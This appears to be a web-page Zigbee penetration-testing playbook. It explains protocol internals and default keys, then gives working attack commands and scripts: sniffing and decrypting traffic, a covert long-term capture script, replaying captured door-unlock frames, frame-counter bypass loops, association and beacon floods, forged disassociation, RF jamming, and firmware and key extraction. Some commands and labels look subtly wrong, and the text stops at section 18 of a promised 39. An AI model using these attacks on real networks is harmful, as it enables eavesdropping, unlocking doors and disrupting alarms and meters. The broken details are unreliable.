// AUTHORIZED USE ONLY — ETHICAL HACKING FIELD MANUAL

ZIGBEE PENTEST
PLAYBOOK

The most comprehensive Zigbee security research and penetration testing reference. From protocol internals to weaponized exploits — every layer, every attack vector, every tool, fully documented for professional IoT security assessments.

39
Sections
80+
Attack Vectors
150+
Commands
40+
Tools Covered
2.4GHz
Target Band
// SECTION 01

INTRODUCTION TO ZIGBEE SECURITY

What is Zigbee, why it matters, and why it's a goldmine for pentesters
What is Zigbee?

Zigbee is an IEEE 802.15.4-based wireless protocol specification designed for low-power, low-data-rate wireless mesh networks. It operates primarily in the 2.4 GHz ISM band globally, with sub-GHz bands in some regions (868 MHz EU, 915 MHz US).

It is the backbone of billions of IoT devices — smart lighting (Philips Hue, IKEA TRÅDFRI), smart meters, industrial sensors, medical devices, and building automation systems.

Attack Surface Overview

Zigbee deployments span: consumer smart home, industrial IoT (IIoT), smart energy grids, healthcare monitoring, and building automation (HVAC, access control).

The attack surface is enormous: weak key management, insecure join procedures, plaintext leakage during commissioning, replay vulnerabilities, and physically accessible hardware.

⚠ LEGAL NOTICE: All techniques in this playbook are for authorized penetration testing, academic research, and security assessments only. Unauthorized interception of Zigbee communications may violate the Computer Fraud and Abuse Act (CFAA), Electronic Communications Privacy Act (ECPA), and equivalent laws worldwide. Always obtain written authorization before testing.
Key Stats

~500M+ Zigbee-enabled devices deployed globally as of 2024.

Used in 60%+ of smart home automation hubs.

Standard in AMI (Advanced Metering Infrastructure) — smart meters in 100M+ homes.

Protocol Versions

Zigbee 2004 — Initial spec, minimal security

Zigbee 2006/2007 — Added profiles

Zigbee PRO — Enhanced security, routing

Zigbee 3.0 (2016) — Unified, BDB commissioning

Standards Basis

IEEE 802.15.4 — PHY + MAC layers

Zigbee Alliance Spec — NWK, APS, ZDO, AF layers

AES-128-CCM* — Encryption algorithm

Zigbee Cluster Library (ZCL) — Application layer

// SECTION 02

PROTOCOL ARCHITECTURE

IEEE 802.15.4 fundamentals and Zigbee's role on top
ZIGBEE PROTOCOL STACK
APPLICATION LAYER (APL) ZCL / ZDO / AF
NETWORK LAYER (NWK) Routing, Mesh
DATA LINK / MAC IEEE 802.15.4
PHYSICAL LAYER (PHY) IEEE 802.15.4 · 2.4GHz
IEEE 802.15.4 Physical Layer

Frequency: 2.4 GHz (global), 868/915 MHz (regional)

Channels: 16 channels (11–26) at 2.4 GHz, 5 MHz spacing

Data Rate: 250 kbps at 2.4 GHz

Modulation: O-QPSK with DSSS (Direct Sequence Spread Spectrum)

Range: 10–100m line of sight; 10–20m indoor typical

TX Power: 0–10 dBm typical, legally up to 20 dBm EIRP

MAC Layer Concepts

PAN ID — 16-bit Personal Area Network identifier. Separates networks on same channel.

Extended PAN ID — 64-bit globally unique PAN identifier (EUI-64 based)

Superframe — Optional TDMA structure with beacon frames

CSMA/CA — Carrier Sense Multiple Access with Collision Avoidance

Network Layer (NWK)

Mesh Routing — AODV-like on-demand routing

Tree Routing — Hierarchical address-based routing

Source Routing — Explicit route in packet header

Coordinator — Root node, network initiator

Router — Intermediate node, relays frames

End Device — Leaf node, minimal capability

Application Layer (APL)

ZDO — Zigbee Device Object: device/service discovery, binding management

APS — App Support Sublayer: endpoint addressing, binding, group management

ZCL — Zigbee Cluster Library: standardized application functionality

AF — Application Framework: endpoint/cluster dispatching

// SECTION 03

PROTOCOL STACK DEEP DIVE

Layer-by-layer internals for intelligent exploitation
Zigbee Cluster Library (ZCL) — Pentest Gold

ZCL defines clusters — reusable application building blocks. Each cluster has a 16-bit ID, attributes, and commands. Clusters are the primary interface for device control and data reading. Understanding ZCL is essential for crafting spoofed commands and fuzzing.

Cluster NameCluster IDDescriptionAttack Interest
Basic0x0000Device info, reset commandsFactory reset via WriteAttr
Power Configuration0x0001Battery voltage, mainsInfo gathering
On/Off0x0006Toggle light/device stateDirect device control
Level Control0x0008Dimmer controlDisruption
OTA Upgrade0x0019Firmware update protocolMalicious firmware injection
Door Lock0x0101Lock/unlock commandsPhysical access bypass
Window Covering0x0102Blinds/shutter controlPhysical access assist
Thermostat0x0201HVAC setpointsComfort/energy disruption
IAS Zone0x0500Alarm/sensor statusAlarm suppression/spoofing
Metering0x0702Smart energy readingsEnergy fraud (AMI)
Key Establishment0x0800CBKE, link key setupKey extraction
APS Frame Security

APS layer optionally encrypts using the link key (per-pair). Network layer uses the network key (shared by all). This dual-key model is a critical attack surface.

APS Security Header includes: Security Control (1B), Frame Counter (4B), Source Address (0/8B), Key Identifier (1B), MIC (4/8/16B)

Frame counter prevents replay — but can wrap or be predictable in some implementations.

NWK Frame Format
Frame Control (2B) — type, discover route, multicast, security, src route, dest/src IEEE addr Dest Addr (2B) — short NWK address Src Addr (2B) — short NWK address Radius (1B) — hop count (TTL) Seq Number (1B) — anti-duplicate [Dest IEEE] (8B) — optional [Src IEEE] (8B) — optional [Multicast] (1B) — optional [Src Route] (var) — optional [Security] (var) — optional Payload (var) — APS PDU
// SECTION 04

NETWORK TOPOLOGY

Star, tree, mesh — device roles and routing implications
Coordinator (ZC)

Role: Network initiator, trust center, root of the tree.

Key Functions: Chooses PAN ID + channel, forms network, manages network key, distributes keys to joining devices, manages associations.

Pentest Impact: Impersonating or attacking the coordinator is the highest-value target — it controls the trust center, distributes keys, and can kick/join devices.

Router (ZR)

Role: Full-function device that relays packets for others.

Key Functions: Joins network, participates in routing, can accept children (end devices), maintains neighbor and routing tables.

Pentest Impact: Compromised routers enable passive sniffing of all traffic passing through them. Buffer overflow attacks on embedded stack implementations (CC2530, EM357) are well-documented.

End Device (ZED)

Role: Minimal capability, cannot route.

Key Functions: Associates with a parent (coordinator or router), sleeps most of the time, polls for buffered messages.

Pentest Impact: Often the most physically accessible device (sensors, locks, plugs). Sleep mode creates timing windows for attacks. Firmware extraction via JTAG/SWD is common.

ℹ TOPOLOGY NOTE: In a mesh network, all routers can communicate with all other visible routers. A single compromised router with an active sniffer can capture a significant portion of network traffic depending on placement. Position matters in physical penetration scenarios.
Network Formation Sequence
  1. 1
    Coordinator performs energy scan on all 16 channels to detect interference
  2. 2
    Coordinator performs active scan to detect existing PANs
  3. 3
    Coordinator selects least-congested channel and unique PAN ID
  4. 4
    Coordinator sends NLME-NETWORK-FORMATION.request
  5. 5
    Network key is generated or pre-installed; Trust Center configured
  6. 6
    Devices discover and join via Association Request / Response
  7. 7
    Trust Center sends Network Key encrypted with default link key
Join Procedure Attack Windows

The network join procedure is the most critical attack window in Zigbee. During steps 6–7 above:

  • !
    Network key is transmitted encrypted with well-known default link key ("ZigBeeAlliance09") — trivially decryptable
  • !
    Pre-configured Link Key (PCLK) mode is safer but rarely used
  • !
    Touchlink commissioning bypasses trust center entirely
  • !
    Install codes improve security but adoption is incomplete
// SECTION 05

ADDRESSING & CHANNELS

PAN IDs, IEEE addresses, short addresses, channel maps
Address Types
TypeSizeRangeNotes
IEEE / EUI-648 bytes64-bitFactory-burned, globally unique
Short (NWK)2 bytes0x0000–0xFFFDAssigned at join; 0x0000=coordinator
Broadcast2 bytes0xFFFF / 0xFFFB / 0xFFFC / 0xFFFDDifferent scopes
PAN ID2 bytes0x0000–0xFFFENetwork identifier
Extended PAN8 bytes64-bitGlobal unique network ID
Channel Map — 2.4 GHz
Ch 11 · 2405 MHz
Overlaps WiFi ch1
Ch 12 · 2410 MHz
Ch 15 · 2425 MHz
⚡ WiFi gap (common choice)
Ch 20 · 2450 MHz
Between WiFi ch6 & ch11
Ch 25 · 2475 MHz
⚡ Clean WiFi gap
Ch 26 · 2480 MHz
Overlaps WiFi ch11 edge

Most deployments favor ch15, ch20, ch25, ch26 to minimize WiFi interference. Start your scans there.

// SECTION 06

FRAME STRUCTURE

MAC, NWK, APS frame dissection for packet analysis
IEEE 802.15.4 MAC Frame Structure
// IEEE 802.15.4 MAC Frame General Structure ┌──────────────┬────────────┬──────────────────────────────────────────────────────┬─────────┐ │ Preamble (4B)│ SFD (1B) │ PHY Header (1B): Frame Length │ Payload │ └──────────────┴────────────┴──────────────────────────────────────────────────────┴─────────┘ // MAC Frame Control Field (2 bytes) breakdown: Bits [2:0] = Frame Type: 000=Beacon, 001=Data, 010=ACK, 011=MAC Cmd Bit [3] = Security Enabled Bit [4] = Frame Pending Bit [5] = AR (ACK Request) Bit [6] = PAN ID Compression Bits [11:10] = Dest Addressing Mode: 00=none, 10=16bit, 11=64bit Bits [13:12] = Frame Version Bits [15:14] = Src Addressing Mode: 00=none, 10=16bit, 11=64bit
NWK Frame — Security Header
// Zigbee NWK Security Header (if security bit set) Security Control (1B): Key Identifier Mode [4:3]: 0b00 = Data Key (Network Key current) 0b01 = Network Key (with sequence number) 0b10 = Key Transport Key 0b11 = Key Load Key Extended Nonce [5]: 0=short nonce, 1=full IEEE addr Level [2:0]: 0=none, 4=ENC-MIC-32, 5=ENC-MIC-64, 6=ENC-MIC-128 Frame Counter (4B): Monotonically increasing, anti-replay Source IEEE Addr (8B): If extended nonce bit set Key Sequence Num (1B): If Key ID mode = 01 MIC (4/8/16B)
APS Frame Structure
// APS PDU Header (variable) Frame Control (1B): Frame Type [1:0]: 00=Data, 01=Cmd, 10=ACK, 11=Inter-PAN Delivery Mode [3:2]: 00=Unicast, 01=Indirect, 10=Broadcast, 11=Group ACK Format [4], Security [5], ACK Request [6], EXT header [7] Dest Endpoint (1B): if unicast/broadcast Group Addr (2B): if group delivery Cluster ID (2B): ZCL Cluster Profile ID (2B): Application Profile Src Endpoint (1B): source endpoint APS Counter (1B): anti-replay at APS layer [Ext Header] (var): Fragmentation info [Security Hdr] (var): if APS security enabled Payload (var): ZCL frame
// SECTION 07

ZIGBEE SECURITY MODEL

Keys, trust center, security levels, known weaknesses
Master Key

Pre-installed symmetric key used to establish link keys. Rarely used in practice. When used, protects link key transport.

Network Key (NWK Key)

128-bit AES key shared by ALL devices in the network. Protects NWK layer frames. Rotatable via Key Update procedure (rarely done in practice).

THE critical secret. Extract once — sniff everything forever.

Link Key (App Key)

128-bit AES key shared between specific device pairs. Used for APS-layer encryption. Higher security but not universally implemented.

🔴 CRITICAL WEAKNESS: The default link key used during network join in most Zigbee PRO and early Zigbee 3.0 devices is the well-known string "ZigBeeAlliance09" (hex: 5A696742656541 6C6C69616E636530 39). Any observer who captures the join handshake can trivially decrypt the network key exchange using this default key — permanently compromising the entire network.
Security LevelValueEncryptionMIC LengthUsage
None0x00No0Beacons, discovery
MIC-320x01No4 bytesAuthentication only
MIC-640x02No8 bytesAuthentication only
MIC-1280x03No16 bytesAuthentication only
ENC0x04Yes0Encryption only (rare)
ENC-MIC-320x05Yes4 bytesMost common in Zigbee PRO
ENC-MIC-640x06Yes8 bytesHigher security deployments
ENC-MIC-1280x07Yes16 bytesMaximum security
Trust Center Model

The Trust Center (TC) is typically the coordinator. It is responsible for: authenticating devices, distributing network keys, managing link keys, and authorizing network access.

Centralized TC: Single coordinator holds all keys. High-value target.

Distributed TC (Zigbee 3.0): No single trust center; any router can allow joining. Reduces single point of failure but complicates key management.

Known Default Keys
# Default Zigbee Link Key (used during join) ASCII: ZigBeeAlliance09 HEX: 5A 69 67 42 65 65 41 6C 6C 69 61 6E 63 65 30 39 # ZHA (Home Automation) Default Key HEX: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 # Zigbee Light Link Master Key HEX: 9F 55 95 F1 02 57 C8 A9 65 19 85 CB B7 40 2D 2F # SE (Smart Energy) uses CBKE — certificate-based # No single default key — requires ECC certs
// SECTION 08

HARDWARE ARSENAL

Every tool you need to sniff, inject, and attack Zigbee networks
Texas Instruments CC2531
The classic Zigbee USB sniffer dongle. Flashed with Z-Stack sniffer firmware, it's the most widely used hardware for passive Zigbee sniffing. ~$5 on AliExpress.
Sniffing
Passive
Firmware: CC2531ZNP-Prod.hex / cc2531_sniffer
TI CC2652R / CC2652P
Modern dual-band (2.4GHz + sub-GHz) chip. Supports Zigbee, Thread, BLE, Z-Wave. Used in Sonoff Zigbee 3.0 USB Dongle Plus and many coordinators.
Coordinator
Injection
Firmware: Z-Stack 3.x, ZNP, Tasmota, Zigbee2MQTT
HUSBZB-1 (Silicon Labs)
Dual Z-Wave + Zigbee USB stick. Zigbee side uses Silicon Labs EM357. Works with Home Assistant ZHA, OZWCP, and custom firmware.
Coordinator
Dual Protocol
OpenZWave + zigpy/bellows
Atmel RZUSBSTICK (AT86RF230)
Older Atmel USB sniffer. Works with KillerBee natively. Excellent for deep protocol work. Less common now but well-supported in tooling.
Sniffing
KillerBee Compatible
avrdude + killerbee fw
HackRF One + cc2531
HackRF for wideband SDR analysis and spectrum visualization. CC2531 for protocol-level work. Complementary setup — SDR shows spectrum, CC2531 decodes frames.
SDR
Spectrum Analysis
GNU Radio + gr-ieee802-15-4
Ubertooth One (modified)
Designed for BLE but can be repurposed for 2.4 GHz ISM band research. Not ideal for Zigbee decoding but useful for raw RF experiments.
2.4GHz
Research
ubertooth-util
Sewio RTLS / Zigbee Dev Kit
Professional-grade development kits from TI (LAUNCHXL-CC26X2R1) enable coordinator + sniffer combo. Excellent for lab environments.
Dev Kit
Full-Stack
Code Composer Studio + Z-Stack SDK
Raspberry Pi + CC2531
Raspberry Pi as base system running Zigbee2MQTT or ZHA, with CC2531 or CC2652 for the radio. Great for covert long-term deployment in red team scenarios.
Red Team
Long-term Ops
Zigbee2MQTT + Mosquitto
ℹ HARDWARE TIP: For serious engagements, run TWO CC2531 sticks simultaneously on different channels using KillerBee's multi-channel support. Most networks use 1–2 channels, but confirm via energy scan first. The TI SmartRF Packet Sniffer 2 can display real-time spectrum alongside decoded frames.
// SECTION 09

FIRMWARE & SETUP

Flashing, configuring, and validating your hardware
Flash CC2531 Sniffer Firmware (Linux)
// Using cc-tool
sudo apt-get install libusb-1.0-0-dev git git clone https://github.com/dashesy/cc-tool cd cc-tool && cmake . && make # Connect CC-Debugger to CC2531 via debug port sudo ./cc-tool -e -w cc2531ZNP-Prod.hex # -e = erase, -w = write firmware # Verify flash sudo ./cc-tool -i # Should show: Chip: CC2531, state: connected
Flash CC2531 via Arduino (No Debugger)
# Use Arduino as CC-Debugger alternative # Wire: Arduino D6→DD, D5→DC, D4→RST, GND→GND, 3.3V→VCC # Install cc-flasher pip install cc-tool # OR use cc2531-flasher browser-based tool # Download latest sniffer firmware wget https://github.com/Koenkk/Z-Stack-firmware/raw/\ master/coordinator/Z-Stack_Home_1.2/bin/default/\ CC2531_DEFAULT_20211115.zip unzip CC2531_DEFAULT_20211115.zip sudo ./cc-tool -e -w CC2531ZNP-Prod.hex
KillerBee Setup (Kali/Ubuntu)
sudo apt-get install python3-pip python3-dev \ libusb-1.0-0-dev wireshark pip3 install killerbee # Test device detection zbid # Output: /dev/ttyUSB0 (CC2531) # Set udev rules for non-root access sudo cp killerbee/dev/99-killerbee.rules /etc/udev/rules.d/ sudo udevadm control --reload-rules
Zigbee2MQTT as Attack Platform
# Install Zigbee2MQTT + Mosquitto sudo apt-get install nodejs npm mosquitto git clone https://github.com/Koenkk/zigbee2mqtt.git cd zigbee2mqtt && npm ci # Edit config/configuration.yaml serial: port: /dev/ttyUSB0 mqtt: server: mqtt://localhost advanced: network_key: GENERATE # or hardcode for testing pan_id: 0x1a62 channel: 15 npm start # Access MQTT topics for device enumeration mosquitto_sub -t "zigbee2mqtt/#" -v
// SECTION 10

SOFTWARE TOOLKIT

Every tool in the Zigbee hacker's arsenal
ToolPurposePlatformInstall
KillerBeeZigbee attack framework — sniff, replay, dissectLinuxpip install killerbee
Scapy (zbscapy)Zigbee packet crafting and injectionPythonpip install scapy
Wireshark + ZigBee pluginLive/offline frame dissectionCross-platformapt install wireshark
Zigbee2MQTTCoordinator stack, MQTT bridge, device controlNode.jsnpm ci
zigpyPython Zigbee stack — ZHA, scriptingPythonpip install zigpy
ZHA (Home Assistant)Zigbee coordinator stack, device supportPythonHA integration
TI SmartRF Packet Sniffer 2GUI sniffer for TI hardwareWindowsTI SWRC045
zbdump / zbwiresharkKillerBee: capture to PCAPLinuxkillerbee package
zbstumblerActive network discovery/stumblingLinuxkillerbee package
zbassocfloodAssociation flood DoSLinuxkillerbee package
zbreplayReplay captured framesLinuxkillerbee package
zbfindFind Zigbee devices, signal strengthLinuxkillerbee package
gnuradio + gr-ieee802-15-4SDR Zigbee decodingLinuxapt + gr-ieee802154
BinwalkFirmware analysis / extractionLinuxapt install binwalk
OpenOCDJTAG/SWD firmware extractionLinuxapt install openocd
GDB + ARM cross toolsFirmware debugging/RELinuxapt install gdb-multiarch
Ghidra / IDA ProFirmware disassembly/RECross-platformNSA/Hex-Rays
Z3GatewayTI gateway reference stackLinuxTI SDK
zbcatKillerBee: decode captured pcapLinuxkillerbee package
nRF Sniffer (Nordic)BLE/802.15.4 sniffer for nRF hardwareLinux/WinNordic SDK
// SECTION 11

PASSIVE RECONNAISSANCE

Stealth observation — no transmissions, no detection
✓ PASSIVE RECON = ZERO RF EMISSIONS. Entirely undetectable. Always start here. Never transmit during initial recon.
Start Passive Capture — KillerBee
# List available interfaces zbid # Capture on channel 15 to PCAP (most common) zbdump -c 15 -w capture_ch15.pcap # Capture all channels sequentially for ch in 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26; do zbdump -c $ch -w ch${ch}.pcap -n 500 & done # Pipe live to Wireshark zbdump -c 15 -w - | wireshark -k -i - # With specific device path zbdump -i /dev/ttyUSB0 -c 25 -w output.pcap
Analyze Capture — Extract Intel
# Decode captured PCAP zbcat capture_ch15.pcap # Show unique devices (IEEE addresses) zbcat capture.pcap | grep "Source" | sort -u # Look for beacons — reveals PAN IDs + coordinators zbcat capture.pcap | grep -i "beacon" # Wireshark filter — show only beacon frames wpan.frame_type == 0 # Show only ZCL commands (potential actions) zbee_zcl # Show only join requests zbee_nwk.cmd.id == 0x06 # Find devices not using encryption (security=0) !wpan.security
Intelligence Gathering from Passive Capture

From passive sniffing alone you can determine:

  • Number of active Zigbee networks (PAN IDs)
  • Active channels in use
  • Number of devices per network
  • IEEE addresses and short addresses of all visible nodes
  • Coordinator IEEE address (short addr 0x0000)
  • Device types (router vs end device) from traffic patterns
  • Transmission intervals (useful for timing attacks)
  • Security level in use (is encryption enabled?)
  • Whether APS-layer security is used (link key encryption)
  • Application profile IDs (home automation, smart energy, etc.)
  • Cluster IDs in use (what functions are active)
  • New device join events (opportunistic key capture)
// SECTION 12

NETWORK DISCOVERY

Active stumbling, PAN enumeration, device fingerprinting
⚠ ACTIVE DISCOVERY = RF TRANSMISSIONS. Detectable by spectrum monitors. Only perform with written authorization. Active frames may trigger alerts in managed environments.
zbstumbler — Active Discovery
# Discover all PANs on all channels zbstumbler # Scan specific channel zbstumbler -c 15 # Extended scan with signal strength zbstumbler -c 15 -v # Output to file zbstumbler -c 15 -w stumble_results.txt # Scan and find target device by address zbfind -c 15 -d 00:11:22:33:44:55:66:77
Zigbee2MQTT — Map Network Topology
# Enable permit join (temporarily) # Triggers topology mapping via ZDO requests # Subscribe to device announcements mosquitto_sub -t "zigbee2mqtt/bridge/devices" -v # Request full network map mosquitto_pub -t "zigbee2mqtt/bridge/request/networkmap" \ -m '{"type":"raw","routes":false}' # Get device list (JSON format) curl http://localhost:8080/api/devices # Force topology rediscovery via ZDO Mgmt_Lqi_req # Sent to each device to build neighbor table
ZDO (Zigbee Device Object) Discovery Commands
# ZDO command types used in discovery # (clusterId → function) 0x0000 NWK_addr_req # Get short addr from IEEE 0x0001 IEEE_addr_req # Get IEEE from short addr 0x0002 Node_Desc_req # Device capabilities 0x0003 Power_Desc_req # Power source info 0x0004 Simple_Desc_req # Endpoints + clusters 0x0005 Active_EP_req # List of endpoints 0x0030 Mgmt_NWK_Disc_req # Network discovery 0x0031 Mgmt_Lqi_req # Neighbor table 0x0032 Mgmt_Rtg_req # Routing table 0x0033 Mgmt_Bind_req # Binding table 0x0036 Mgmt_Permit_Join_req # Open network join

ZDO discovery reveals:

  • Complete device capability bitmask (coordinator/router/end device, security capability, receiver on when idle)
  • All active endpoints and their cluster lists (input + output)
  • Neighbor LQI tables — full physical topology
  • Routing tables — path enumeration
  • Binding tables — which devices control which targets
  • Power source (mains / battery / solar — affects attack timing)
// SECTION 13

ACTIVE SCANNING

Deep enumeration, service probing, ZCL attribute reading
ZCL Attribute Read — Python / zigpy
#!/usr/bin/env python3 # Read attributes from target device # Requires joining the network first import asyncio from zigpy.zcl.clusters.general import Basic async def read_device_info(dev): cluster = dev.endpoints[1].basic result = await cluster.read_attributes([ 'zcl_version', 'hw_version', 'manufacturer', 'model', 'sw_build_id', 'power_source', ]) for attr, val in result[0].items(): print(f" {attr:20s}: {val}") # Enumerates: manufacturer, model, firmware version # Critical for CVE matching
Scapy — Craft ZDO Request
from scapy.all import * from scapy.layers.dot15d4 import * from scapy.layers.zigbee import * # Craft IEEE Address Request pkt = ( Dot15d4FCS() / Dot15d4Data( dest_panid=0x1a62, dest_addr=0x0000, # To coordinator src_addr=0x1234 ) / ZigbeeNWK() / ZigbeeAppDataPayload() / ZigbeeDeviceProfile( cluster=0x0001, # IEEE_addr_req profile=0x0000 ) / ZDPIEEEAddrReq( nwk_addr=0xFFFF, # Broadcast request_type=1 ) ) sendp(pkt, iface="wpan0")
// SECTION 14

CHANNEL ANALYSIS

Energy detection, interference mapping, channel hopping
Energy Scan All Channels
# Using KillerBee energy detection python3 -c " import killerbee kb = killerbee.KillerBee() print('Ch | Energy | Activity') for ch in range(11, 27): kb.set_channel(ch) energy = kb.ed() print(f'{ch:2d} | {energy:6d} | {\"ACTIVE\" if energy > 50 else \"quiet\"}') kb.close() " # SDR-based spectrum scan (HackRF) hackrf_sweep -f 2400:2500 -l 32 -g 40 | \ python3 spectrum_plot.py # TI SmartRF Studio — GUI energy scan # Set: Protocol=IEEE802.15.4, Band=2.4GHz # Run: Per-Channel Energy Detect
Channel-Traffic Correlation

Smart homes typically cluster on ch15, ch20, ch25 (WiFi-avoiding). Industrial often uses ch26. AMI (smart meters) often use ch25 or sub-GHz.

Strategy: Do energy scan, identify active channels, then do 10-minute passive capture on each. Rank by frame count. Focus your attack on the most active channel first — you'll intercept the most traffic and join events.

# Count frames per PCAP (rank channels) for f in ch*.pcap; do count=$(tshark -r $f -q 2>/dev/null | wc -l) echo "$count $f" done | sort -rn
// SECTION 15

PACKET SNIFFING

Capturing, decrypting, and analyzing Zigbee frames
Decrypt Zigbee Frames in Wireshark
# Wireshark → Edit → Preferences → Protocols → ZigBee # Add security keys: Key 1 (NWK Key - well-known default): 5A 69 67 42 65 65 41 6C 6C 69 61 6E 63 65 30 39 Key 2 (ZHA null key): 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Key 3 (ZLL Master Key): 9F 55 95 F1 02 57 C8 A9 65 19 85 CB B7 40 2D 2F # If you've captured the network key during join, # add it here to decrypt ALL subsequent traffic # Wireshark display filter for decrypted ZCL zbee_zcl && zbee_zcl.cmd.id
Key Extraction from Capture
# KillerBee: decrypt with known/extracted key zbcat -k 5a696742656541 6c6c69616e636530 39 \ capture.pcap # If network key was sent in plaintext during join: tshark -r capture.pcap -Y \ "zbee_nwk.cmd.id == 0x0d" -T fields \ -e zbee_nwk.cmd.key # Show all key transport frames tshark -r capture.pcap -Y \ "zbee_aps.cmd.id == 0x05" -V # scapy: extract key field manually pkts = rdpcap("capture.pcap") for p in pkts: if ZigbeeSecurityHeader in p: print(p.show())
Long-Term Covert Capture Setup
# Raspberry Pi covert sniffer script # Rotates logs every hour, captures all channels #!/bin/bash OUTDIR="/var/log/zigbee_cap" CHANNELS="11 15 20 25 26" mkdir -p $OUTDIR capture_channel() { CH=$1 while true; do TS=$(date +%Y%m%d_%H%M%S) zbdump -c $CH -w "${OUTDIR}/ch${CH}_${TS}.pcap" \ -n 10000 -t 3600 done } for CH in $CHANNELS; do capture_channel $CH & done wait
// SECTION 16

REPLAY ATTACKS

Capture legitimate commands and replay to trigger actions
🔴 HIGH IMPACT: Replay attacks on smart locks, garage doors, and alarm systems can directly enable physical security bypass. The frame counter mechanism is the primary defense — but many implementations have weaknesses or accept out-of-order frames.
Basic Replay — KillerBee
# Step 1: Capture target command zbdump -c 15 -w target_commands.pcap # Identify the frame to replay (e.g., door unlock) zbcat target_commands.pcap | grep -i "door\|lock\|toggle" # Step 2: Replay captured frames zbreplay -c 15 -r target_commands.pcap # Replay with delay between frames zbreplay -c 15 -r target_commands.pcap -d 100 # Replay single frame (extract frame N) zbreplay -c 15 -r single_frame.pcap -n 1
Frame Counter Bypass Techniques

Zigbee uses a 32-bit frame counter at NWK and APS layers. Receivers should reject frames with a counter ≤ last seen. However:

  • !
    Counter wrap-around: When counter hits 0xFFFFFFFF, some devices reset to 0 — creating a window where old replays are accepted
  • !
    Non-persistent counter: Many end devices don't persist counter across power cycles — reset to 0 on reboot. Replay valid after power cycling victim
  • !
    Tolerance window: Some implementations accept counters ± N of last seen (to handle packet loss) — exploit this window
  • !
    Coordinator reset: If coordinator reboots without persisting state, all counters reset — full replay window opens
Scapy — Craft Modified Replay with Custom Counter
from scapy.all import * from scapy.layers.zigbee import * # Load captured frame pkts = rdpcap("unlock_command.pcap") original = pkts[0] # Modify frame counter to bypass replay protection # Try incrementing well beyond last seen counter for counter in range(0xFFFF0000, 0xFFFFFFFF, 1000): modified = original.copy() modified[ZigbeeSecurityHeader].fc = counter # Recompute MIC if key known: # modified = sign_frame(modified, network_key) sendp(modified, iface="wpan0", count=3, inter=0.1) time.sleep(0.5)
// SECTION 17

JAMMING & DENIAL OF SERVICE

RF jamming, association flooding, routing disruption
🔴 WARNING: RF jamming is illegal in most jurisdictions, even for authorized pentesters, under FCC Part 97/Part 15 and equivalent regulations. Verify legal parameters with client and legal counsel. Association flooding and protocol-layer DoS are generally permissible with authorization.
Association Flood (Layer-2 DoS)
# Flood coordinator with association requests # Exhausts association table (typically 64–128 entries) zbassocflood -c 15 -t 0x0000 # Custom flood rate zbassocflood -c 15 -t 0x0000 -r 100 # Monitor coordinator response (should start # returning FULL association status) zbdump -c 15 -w assoc_flood_response.pcap & # Result: Legitimate devices cannot join network # May cause coordinator crash on some implementations
Beacon Request Flood
# Flood beacon requests — forces all routers to respond # Saturates channel, causes CSMA/CA collisions python3 << 'EOF' from scapy.all import * from scapy.layers.dot15d4 import * beacon_req = ( Dot15d4FCS(fcf_frametype=3) / # MAC Command Dot15d4Cmd(cmd_id=7) # Beacon Request ) print("Flooding beacon requests on ch15...") while True: for _ in range(100): sendp(beacon_req, iface="wpan0", verbose=0) time.sleep(0.01) EOF
Routing Table Exhaustion

Send RREQ (Route Request) floods to exhaust routing tables on routers. Zigbee routers typically have routing table limits of 8–32 entries (implementation-dependent).

# Send many RREQ to nonexistent destinations # Forces routers to cache transient routing entries # Tables fill, legitimate routing breaks python3 zigbee_rreq_flood.py \ --channel 15 \ --pan-id 0x1a62 \ --count 1000
End Device Orphaning

Send forged Disassociation Request from coordinator's address to end devices, causing them to drop from the network.

# Forge disassociation command # Src: Coordinator IEEE addr # Dst: Target end device python3 forge_disassoc.py \ --src 00:11:22:33:44:55:66:77 \ --dst AA:BB:CC:DD:EE:FF:00:11 \ --reason 2 # "Coordinator wishes to leave"
RF-Level Interference (SDR)

Using HackRF or USRP, broadcast narrowband interference on target channel. Zigbee uses DSSS but can be overwhelmed by sufficiently powerful in-band interference.

# GNU Radio: Zigbee jammer flowgraph # Transmit CW at 2425 MHz (ch15 center) # LEGAL WARNING: Verify authorization first hackrf_transfer -t /dev/zero \ -f 2425000000 -s 2000000 \ -x 40 # TX gain
// SECTION 18

KEY EXTRACTION

Network key sniffing during join, JTAG extraction, EEPROM dumping
🔴 CRITICAL ATTACK: Extracting the network key compromises ALL device communications on the network retroactively (if you captured historical traffic) and going forward. This is the highest-impact attack in Zigbee pentesting.
Key Sniffing During Join — The Canonical Attack
# Method 1: Wait for a legitimate device join # The Trust Center sends the NWK key encrypted with # the default link key "ZigBeeAlliance09" zbdump -c 15 -w join_capture.pcap # After capture, decrypt the key transport frame: tshark -r join_capture.pcap \ -Y "zbee_aps.cmd.id == 0x05" \ -d "zbee_nwk,zbee_aps" \ -o "zbee_nwk.keys:" \ -T fields \ -e zbee_sec.key # Method 2: Force a rejoin to generate new join traffic # Power cycle a device while monitoring # OR send forged leave command to force rejoin # Wireshark filter: show key transport (APS Transport Key) zbee_aps.cmd.id == 5
zbdecrypt — Decrypt Captures with Extracted Key
# After extracting network key (e.g., deadbeef...) python3 << 'EOF' from killerbee import * # Network key extracted from join sniff nwk_key = bytes.fromhex( "deadbeef0011223344556677aabbccdd" ) kb = KillerBee() kb.set_channel(15) # Decrypt recorded capture with PcapReader("capture.pcap") as pcap: for pkt in pcap: try: decrypted = decrypt_zigbee(pkt, nwk_key) print(decrypted.show2(dump=True)) except Exception as e: pass EOF
JTAG/SWD Firmware Extraction (Hardware)
# CC2530/CC2531: Use CC-Debugger or Arduino # TI devices use proprietary debug interface cc-tool -r firmware_dump.hex # Silicon Labs EM35x: SWD via J-Link or OpenOCD openocd -f interface/jlink.cfg \ -f target/em357.cfg \ -c "init; halt; dump_image fw.bin 0x08000000 0x40000; shutdown" # ARM Cortex-M (many modern Zigbee chips) openocd -f interface/cmsis-dap.cfg \ -f target/stm32f0x.cfg \ -c "program; verify; dump_image" # nRF52840 (used in many Zigbee 3.0 devices) nrfjprog --readcode fw_dump.hex nrfjprog --readuicr uicr.hex # May contain keys!
EEPROM / Flash Key Search
